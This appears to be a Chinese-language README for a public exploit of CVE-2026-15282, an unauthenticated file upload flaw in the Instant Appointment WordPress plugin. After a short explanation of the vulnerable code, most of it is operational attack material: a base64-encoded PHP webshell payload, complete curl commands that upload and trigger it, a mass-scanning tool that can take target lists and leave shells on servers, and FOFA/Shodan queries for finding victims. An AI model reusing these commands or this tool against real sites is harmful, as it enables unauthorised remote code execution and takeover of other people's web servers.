CVE-2026-15282 是 Instant Appointment WordPress 插件(≤ 1.2)中的一个严重(CVSS 9.8)未认证任意文件上传漏洞。
add_service_front AJAX 动作通过 wp_ajax_nopriv_ 注册,允许未认证访问。该处理器直接将用户提供的 image_url 和 image_name 传递给 file_get_contents() 和 file_put_contents(),未进行任何文件类型或扩展名验证。
| 版本 | 状态 |
|---|---|
| ≤ 1.2 | 存在漏洞 |
| > 1.2 | 无可用补丁 — 请删除该插件 |
// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
$image_data = file_get_contents($image_url); // 从任意 URL 下载
$file = $upload_dir['path'] . '/' . $file_name; // 使用攻击者指定的文件名
file_put_contents($file, $image_data); // 无扩展名检查!
}
AJAX 处理器接受任何 image_url(包括 data:// URI),并将任意 image_name 直接写入 WordPress 上传目录。
POST /wp-admin/admin-ajax.php?action=add_service_front
image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
image_name=think_xxx.php
→ PHP webshell 写入 wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE 通过 https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id
git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt
python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup
-t, --target 单个目标
-f, --file 目标列表文件
-o, --output 将 RCE URL 保存到文件
--threads 工作线程数(默认:25)
--no-cleanup 在目标上保留 webshell
--debug 显示每个请求
-v, --verbose 详细输出
$ python cve_2026_15282.py -t target.com
⠋ 正在扫描目标... → OK 正在扫描目标...
Host : target.com
Plugin : YES
Upload : YES
RCE : YES
Shell : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
Output : uid=33(www-data) gid=33(www-data)
[.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
[RCE] target.com https://target.com/wp-content/uploads/2026/07/think_xxx.php
# 1. 创建 base64 编码的 PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0
# 2. 通过 AJAX 上传
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=add_service_front' \
-d 'service_name=test' \
-d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
-d 'image_name=shell.php' \
-d 'image_size=100' \
-d 'image_type=image/jpeg' \
-d 'service_price_sale=1' \
-d 'service_price_reg=1' \
-d 'service_category[]=1' \
-d 'service_duration=60' \
-d 'service_author=1'
# 3. 访问 shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'
FOFA: body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"
仅供教育和授权测试使用。
| 资源 | 链接 |
|---|---|
| WPScan |
与 tenteeglobal 或 Instant Appointment 无关。
| Wordfence | wordfence.com |
| NVD | CVE-2026-15282 |
| 研究者 | Random Robbie (What Security) |